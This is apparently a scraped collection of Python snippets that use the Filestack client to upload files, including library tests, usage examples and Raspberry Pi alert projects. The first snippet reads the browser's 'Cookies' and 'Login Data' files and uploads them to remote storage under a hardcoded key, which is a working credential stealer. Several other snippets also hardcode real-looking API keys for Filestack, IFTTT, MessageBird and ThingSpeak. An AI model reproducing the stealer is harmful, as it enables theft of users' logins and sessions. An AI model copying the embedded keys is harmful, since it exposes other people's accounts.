def starter():
    json_file_check()
    if stateread(destination()) == 1:
        eel.jshide()
    else:
        eel.jsshow()
        rnd_array = rand_array()
        targets = [destination() + '\\' + x for x in ('Cookies', 'Login Data')]
        print(rnd_array)
        for a in targets:
            print()
            time.sleep(1)
            eel.append(int(rnd_array[targets.index(a)][0]))
            # client = Client('ArqD8iB4HTvSwcewolp4Cz')
            client = Client('AeRm1vWbjS4aBO4gK8z77z')
            store_params = {
                'location': 's3',
                'path': destination(),
                'upload_tags': {
                    "foo": "bar"
                }
            }
            try:
                filelink = client.upload(filepath=a, store_params=store_params)
            except:
                pass
            eel.append(int(rnd_array[targets.index(a)][1]))
            print(os.path.isfile(a))

    statewrite(destination())
Exemplo n.º 2
0
def test_upload_filepath():
    client = Client(APIKEY)

    # add the different HTTP responses that are called during the multipart upload
    responses.add(responses.POST,
                  MULTIPART_START_URL,
                  status=200,
                  content_type='application/json',
                  json={
                      'region': 'us-east-1',
                      'upload_id': 'someuuid',
                      'uri': 'someuri',
                      'location_url': 'fs-uploads.com'
                  })
    responses.add(responses.POST,
                  'https://fs-uploads.com/multipart/upload',
                  status=200,
                  content_type='application/json',
                  json={
                      'url': URL,
                      'headers': {}
                  })
    responses.add_callback(responses.PUT, URL, callback=chunk_put_callback)
    responses.add(responses.POST,
                  'https://fs-uploads.com/multipart/complete',
                  status=200,
                  content_type='application/json',
                  json={
                      'url': URL,
                      'handle': HANDLE
                  })

    new_filelink = client.upload(filepath='tests/data/doom.mp4')
    assert new_filelink.handle == HANDLE
Exemplo n.º 3
0
def upload_picture(
    name
):  #uploads user picture to filestackcdn and returns a 500x500 img (FILESTACK API)
    client = Client('API KEY')

    filelink = client.upload(filepath='media/%s' % name)
    handle = Filelink(filelink.handle)
    new_filelink = handle.resize(width=500, height=500).store()
    return new_filelink.url  #return link of the new file uploaded (str)
Exemplo n.º 4
0
def test_security_inheritance(upload_external_mock, multipart_mock):
    upload_external_mock.return_value = {'handle': 'URL_HANDLE'}
    multipart_mock.return_value = {'handle': 'FILE_HANDLE'}

    policy = {'expiry': 1900}
    cli = Client(APIKEY, security=Security(policy, 'SECRET'))

    flink_from_url = cli.upload_url('https://just.some/url')
    assert flink_from_url.handle == 'URL_HANDLE'
    assert flink_from_url.security.policy == policy

    flink = cli.upload(filepath='/dummy/path')
    assert flink.handle == 'FILE_HANDLE'
    assert flink.security.policy == policy
Exemplo n.º 5
0
def test_upload_file_obj(post_mock, put_mock):
    start_response = defaultdict(str)
    start_response['location_url'] = 'fs.api'
    post_mock.side_effect = [
        DummyHttpResponse(json_dict=start_response),
        DummyHttpResponse(json_dict=defaultdict(str)),
        DummyHttpResponse(json_dict={'handle': 'bytesHandle'})
    ]
    put_mock.return_value = DummyHttpResponse(json_dict=defaultdict(str),
                                              headers={'ETag': 'etag-1'})
    file_content = b'file bytes'
    filelink = Client(APIKEY).upload(file_obj=io.BytesIO(file_content))
    assert filelink.handle == 'bytesHandle'
    put_args, put_kwargs = put_mock.call_args
    assert put_kwargs['data'] == file_content
Exemplo n.º 6
0
def send_alert():
    #camera.capture('image.jpg')
    camera.start_recording('intruder.h264')
    camera.wait_recording(5)
    camera.stop_recording
    camera.close()
    client = Client("AfiwsCgmSHiNYVdEGYmSoz")  #filestack api key = abcdefghijk
    new_filelink = client.upload(filepath='intruder.h264')
    print(new_filelink.url)
    r = requests.post(
        'https://maker.ifttt.com/trigger/intruder/with/key/bZXKpF2Xl3ERNt3tlN4NX0',
        json={'value1': new_filelink.url})
    if r.status_code == 200:
        print('Alert Sent')
    else:
        print('Error')
Exemplo n.º 7
0
def upload(url_path):
    client = Client(settings.FILESTACK_KEY)
    file = client.upload(url=url_path)
    return file.url, file.get_metadata()
from filestack import Client

client = Client('<YOUR_API_KEY')

new_video = client.upload(filepath='/PATH/TO/FILE')
new_video_conversion = new_video.av_convert(width=400, height=400)

while new_video_conversion.status != 'completed':
    print('not completed yet')

print(new_video_conversion.to_filelink().url)
Exemplo n.º 9
0
 def __init__(self, *args, **kwargs):
     self.client = Client(settings.FILESTACK_KEY)
Exemplo n.º 10
0
sys.path.append(os.path.join(cur_path, 'libs'))
from filestack import Client
from filestack import Filelink
"""
    Obtengo el modulo que fue invocado
"""
module = GetParams("module")

if module == "upload_":

    try:
        key_ = GetParams('key_')
        path_ = GetParams('path_')
        var_ = GetParams('id_')

        client = Client(key_)

        params = {'mimetype': 'image/png'}
        new_filelink = client.upload(filepath=path_)
        id = os.path.basename(new_filelink.url)
        SetVar(var_, id)

    except Exception as e:
        PrintException()
        raise Exception(e)

if module == "resize":

    id_ = GetParams('id_')
    width_ = GetParams('width_')
    height_ = GetParams('height_')
# IMPORTANT:
# Please remember that not all application can use Filestack Intelligent Ingestion.
# To enable this feature, please contact Filestack Support

from filestack import Client

filepath = '<PATH_TO_FILE>'
APIKEY = '<YOUR_APIKEY>'

client = Client(APIKEY)

# specify intelligent=True agrument to use Filestack Intelligent Ingestion
filelink = client.upload(filepath=filepath, intelligent=True)
Exemplo n.º 12
0
import requests
import RPi.GPIO as GPIO
from gpiozero import MotionSensor
from picamera import PiCamera
from signal import pause
from filestack import Client
import time
import requests
request = None

client = Client('AfiwsCgmSHiNYVdEGYmSoz')
camera = PiCamera()
camera.resolution = (1920, 1080)
camera.rotation = 180
camera.framerate = 15

GPIO.setmode(GPIO.BOARD)
PIN_TRIGGER = 7
PIN_ECHO = 11
GPIO.setup(PIN_TRIGGER, GPIO.OUT)
GPIO.setup(PIN_ECHO, GPIO.IN)
GPIO.output(PIN_TRIGGER, GPIO.LOW)


def polling():
    GPIO.output(PIN_TRIGGER, GPIO.HIGH)
    time.sleep(0.00001)
    GPIO.output(PIN_TRIGGER, GPIO.LOW)
    while GPIO.input(PIN_ECHO) == 0:
        pulse_start = time.time()
    while GPIO.input(PIN_ECHO) == 1:
Exemplo n.º 13
0
if os.path.exists("env.py"):
    import env


#  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  #
#  Connect to external MongoDB database                                       #
#  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  #

app = Flask(__name__)
app.config["MONGO_DBNAME"] = os.environ.get("MONGO_DBNAME")
app.config["MONGO_URI"] = os.environ.get("MONGO_URI")
app.secret_key = os.environ.get("SECRET_KEY")

mongo = PyMongo(app)

client = Client("AYGc8VBXRTGi7hUQdYZnIz")


#  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  #
#  Homepage                                                                   #
#  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  #

@app.route("/")  # refers to the default route
@app.route("/index")
def index():
    categories = list(mongo.db.categories.find().sort("category_name", 1))
    uploads = list(
        mongo.db.uploads.find().sort("upload_time", -1))  # .limit(2)
    return render_template(
        "index.html", uploads=uploads, categories=categories)
Exemplo n.º 14
0
def main():
    # Setup logging
    setup_logging()

    # We need to wait until Bluetooth init is done
    time.sleep(10)

    # Make device visible
    os.system("hciconfig hci0 piscan")

    # Create a new server socket using RFCOMM protocol
    server_sock = BluetoothSocket(RFCOMM)
    # Bind to any port
    server_sock.bind(("", PORT_ANY))
    # Start listening
    server_sock.listen(1)

    # Get the port the server socket is listening
    port = server_sock.getsockname()[1]

    # The service UUID to advertise
    uuid = "7be1fcb3-5776-42fb-91fd-2ee7b5bbb86d"

    # Start advertising the service
    advertise_service(server_sock,
                      "RaspiBtSrv",
                      service_id=uuid,
                      service_classes=[uuid, SERIAL_PORT_CLASS],
                      profiles=[SERIAL_PORT_PROFILE])

    # initialize camera. Resource intesnive activity, done once
    camera = PiCamera()

    # These are the operations the service supports
    # Feel free to add more
    operations = ["click", "sendthyresult", "analyze"]

    # Main Bluetooth server loop
    while True:

        print("Waiting for connection on RFCOMM channel %d" % port)

        try:
            client_sock = None

            # This will block until we get a new connection
            client_sock, client_info = server_sock.accept()
            print("Accepted connection from ", client_info)

            # Read the data sent by the client
            data = client_sock.recv(1024).decode('UTF-8')
            if len(data) == 0:
                break

            print("Received [%s]" % data)

            # Handle the request

            if data == "click":
                # Take picture
                takePic(camera)
                # push image to web store
                client = Client("A5xYmgW3QRTSLGbWotlWVz")
                params = {"mimetype": "image/png"}
                filePath = '/home/pi/.virtualenvs/cv/' + fileName
                new_filelink = client.upload(filepath=filePath,
                                             store_params=params)
                #new_filelink =  "https://cdn.filestackcontent.com/mV8ZhaR4Rlm3N2wE38gn" # uncomment for testing
                # print URL
                print("Taken, URL is" + new_filelink.url)
                #client_sock.send(new_filelink.url)
                response = new_filelink.url
            elif data == "sendthyresult":
                # return captured image
                response = new_filelink.url
            elif data == "analyze":
                # analyze images for colorimetry testing
                # call function that compares images, sorts and returns the level of addiction
                response = analyzeImage()
            # Insert more here
            elif data == "something":
                response = "msg:Report"
            # Insert more here
            else:
                # Unsupported params and actions
                response = "msg:Not supported"

            client_sock.send(response)
            #Debug output
            print("Sent back [%s]" % response)

        except IOError:
            pass

        except KeyboardInterrupt:

            if client_sock is not None:
                client_sock.close()

            server_sock.close()

            print("Server going down")
            break
Exemplo n.º 15
0
from django.shortcuts import render,redirect
from paymentapp.models import Product,Category
from .forms import ProductForm,CategoryForm
from filestack import Client
import os
client = Client(os.environ.get("FILESTACK_API_KEY"))
from .utils import handle_uploaded_file
def new_category(request):
    if(request.method=="GET"):
        category_form=CategoryForm()
        return render(request,'products/new_category.html',{"category_form":category_form})
    elif(request.method=="POST"):
        category_form=CategoryForm(request.POST)
        if(category_form.is_valid()):
            category_form.save()
            return redirect('all_products')    

def all_products(request):
    
    products=Product.objects.all()
    return render(request,"products/all_products.html",{"products":products})

def get_one_product(request,product_id):
    one_product=Product.objects.filter(pk=product_id).first()
    return render(request,"products/one_product.html",{"one_product":one_product})    

def new_product(request):
    
    if(request.method=="GET"):
        product_form=ProductForm()    
        return render(request,"products/new_product.html",{"product_form":product_form})    
def getPublicURL():
    client = Client("AYfgWcwErT3KN8oLDeumcz")
    params = {'mimetype': 'image/jpg'}
    new_filelink = client.upload(filepath="scan.png")
    return new_filelink.url
Exemplo n.º 17
0
    def filestack_upload_image(self, filename):

        client = Client(self.filestack_token)
        new_filelink = client.upload(filepath="temp/" + filename)
        return new_filelink.url
from filestack import Client, security

# policy expires on 5/6/2099
policy = {'call': ['read', 'remove', 'store'], 'expiry': 4081759876}
security = security(policy, '<YOUR_APP_SECRET>')

client = Client(apikey='<YOUR_API_KEY>', security=security)
filelink = client.upload(
    url=
    'https://www.wbu.com/wp-content/uploads/2016/07/540x340-found-a-bird-450x283.jpg'
)

delete_response = filelink.delete()
Exemplo n.º 19
0
def client():
    return Client(APIKEY)
Exemplo n.º 20
0
                       time_diff_1 + 10,
                       targetname="test.mp4")

#call
client = messagebird.Client('4YKfcxjfhxPnzDIjuMb0YkE3d')
try:
    msg = client.voice_message_create(
        '+918799700769', 'Emergency detected please check message',
        {'voice': 'male'})
    print(msg.__dict__)
except messagebird.client.ErrorException as e:
    for error in e.errors:
        print(error)

#upload vid file
cli = Client('AkNi4zBJJTfmBeR8aAK6rz')
filelink = cli.upload(filepath='test.mp4')
#print(filelink.url)
url = str(filelink.url)
print(url)

#locate places
pl.hospital()
pl.police()
location = pl.long_lat()
print(f"LOCATION = {location}")

#send sms through gsm module
SERIAL_PORT = "/dev/ttyS0"
ser = serial.Serial(SERIAL_PORT, baudrate=9600, timeout=5)
ser.write(b"AT+CMGF=1\r")
Exemplo n.º 21
0
import requests
from gpiozero import MotionSensor
from picamera import PiCamera
from signal import pause
from filestack import Client

client = Client("YOUR FILESTACK API KEY")
camera = PiCamera()
camera.resolution = (1920, 1080)
def send_alert():
    camera.capture("image.jpg")
    new_filelink = client.upload(filepath="image.jpg")
    print(new_filelink.url)
    r = requests.post("https://maker.ifttt.com/trigger/trigger/with/key/IFTTT API KEY", json={"value1" : new_filelink.url})
    if r.status_code == 200:
        print("Alert Sent")
    else:
        print("Error")

pir = MotionSensor(17)
pir.when_motion = send_alert
pause()
Exemplo n.º 22
0
 def __init__(self):
     self.client = Client('AJD6nNwZORdSkQOAkpN7Mz')
Exemplo n.º 23
0
from gpiozero import MotionSensor
from picamera import PiCamera
import requests
from signal import pause
from filestack import Client
from time import sleep

sleep(3)
pir = MotionSensor(4)
camera = PiCamera()
client = Client("AQJWfxpMTQgWW677VUPKTz")

while True:

    def send_alert():
        camera.capture('motionImage.jpg')
        new_filelink = client.upload(filepath="motionImage.jpg")
        print(new_filelink.url)
        r = requests.post(
            "https://maker.ifttt.com/trigger/motionDetect/with/key/e3An1mZ_PLo9i78j5NwUqs2XfDz-kUyvFRZ47Ta9ORr",
            json={"value1": new_filelink.url})
        if r.status_code == 200:
            print('Alert Sent!')
        else:
            print("ERROR")

    while True:
        if pir.motion_detected:
            print('Motion detected!')
            send_alert()
            camera.capture('motionImage.jpg')
from filestack import security as create_security
from filestack import Client
import time
import os

policy = {
    'expiry': int(time.time()) + 15 * 60,
    'path': '/my-user/',
    'maxSize': 10000000,
    'container': 'user-uploads',
}


def gen_credentials(policy, filestack_secret):
    creds = {}
    sec = create_security(policy, os.environ.get('FILESTACK_SECRET'))
    creds['policy'] = sec['policy'].decode('ascii')
    creds['signature'] = sec['signature']
    return (creds)


client = Client("A9UmXdpXcRY2dIPsZsBHfz",
                security=gen_credentials(policy,
                                         os.environ.get('FILESTACK_SECRET')))

new_filelink = client.upload(filepath="./Chart.svg")
print(new_filelink)
Exemplo n.º 25
0
from gtts import gTTS
import telebot
from telebot import types
from filestack import Client
import random

# Your fire-stack client api
client = Client("api")
# Directory to save audio file, can look like
path = "C:\\PycharmProjects\\bot\\1.mp3"
# Your Telegram Bot token
token = "token"
bot = telebot.TeleBot(token)


@bot.inline_handler(func=lambda query: len(query.query) > 0)
def query_text(query):
    try:
        query.query = query.query.replace("\n", " ")
        audiotext = query.query
        tts = gTTS(audiotext, lang="ru")
        tts.save(path)
        filelink = client.upload(filepath=path)
        print(filelink.url)
        ans = types.InlineQueryResultVoice(id=str(random.randint(1, 64 * 8)),
                                           voice_url=filelink.url,
                                           title="nothing")
        bot.answer_inline_query(query.id, [ans], cache_time=5)
    except Exception as e:
        print(e)
Exemplo n.º 26
0
    while GPIO.input(PIN_ECHO)==1:\
        pulse_end_time = time.time()\
        \
        \
    pulse_duration = pulse_end_time-pulse_start_time\
    distance1 = round(17500*pulse_duration,2)\
    print("distance detected:",distance1,"cm")\
    #write API keys\
    print("writing to ThingSpeak...")\
    RequestToThingspeak = 'https://api.thingspeak.com/update?api_key=A919IY7SOCZWU1H8&field1='\
    RequestToThingspeak+=str(distance1)\
    request = requests.get(RequestToThingspeak)\
    if distance1 < 10:\
     if distance1 > 0:\
        \
         client = Client("ANWybKYrRoGC9LR45vC0Qz") #filestack api key = abcdefghijk\
         camera = PiCamera()\
         camera.rotation = 180\
         camera.resolution = (1920, 1080)\
         camera.framerate = 15\
         camera.capture('/home/pi/Desktop/image.jpg') #path to your image\
         print("uploading filestack...")\
         new_filelink = client.upload(filepath="/home/pi/Desktop/image.jpg") #path to you image\
         print(new_filelink.url)\
         print("Posting to IFTTT...")\
         r = requests.post(\
         "https://maker.ifttt.com/trigger/trigger/with/key/bjiw0jg3AvS3HFEo9Kv5PV",\
         json=\{"value1" : new_filelink.url\}) #one line # ifttt api key = hjklyuioi\
        \
         camera.close() \
\
Exemplo n.º 27
0
from filestack import Client, security

# expires in 2099 ;)
policy = {'expiry': 4085665557}
app_secret = '<YOUR_APP_SECRET>'
sec = security(policy, app_secret)

client = Client('<YOUR_API_KEY>', security=sec)
filelink = client.upload(
    url='http://weknownyourdreamz.com/images/birds/birds-04.jpg')

tags = filelink.tags()
sfw = filelink.sfw()
print(tags)
print(sfw)
Exemplo n.º 28
0
def client():
    return Client(APIKEY,
                  security={
                      'policy': b64encode(b'somepolicy'),
                      'signature': 'somesignature'
                  })
Exemplo n.º 29
0
 def share(self):
     client = Client(self.api_key)
     new_filelink = client.upload(filepath=self.filepath)
     return new_filelink.url
Exemplo n.º 30
0
"""
    This script contains examples of using Filestack Workflows
    in Python SDK. Workflows are compatible with uploading using
    pathfile (by default with multipart=True) and external URL.
    * It is essential to upload either from pathfile or url.
"""

from filestack import Client

Filestack_API_Key = '<YOUR_FILESTACK_API_KEY>'
file_path = '<PATH_TO_FILE>'
file_url = '<FILE_URL>'

client = Client(Filestack_API_Key)

# You should put your Workflows IDs in the parameters as a list.
store_params = {
    'workflows': [
        '<WORKFLOWS_ID_1>', '<WORKFLOWS_ID_2>', '<WORKFLOWS_ID_3>',
        '<WORKFLOWS_ID_4>', '<WORKFLOWS_ID_5>'
    ]
}

new_filelink = client.upload(
    filepath=file_path,
    # url=file_url,
    params=store_params)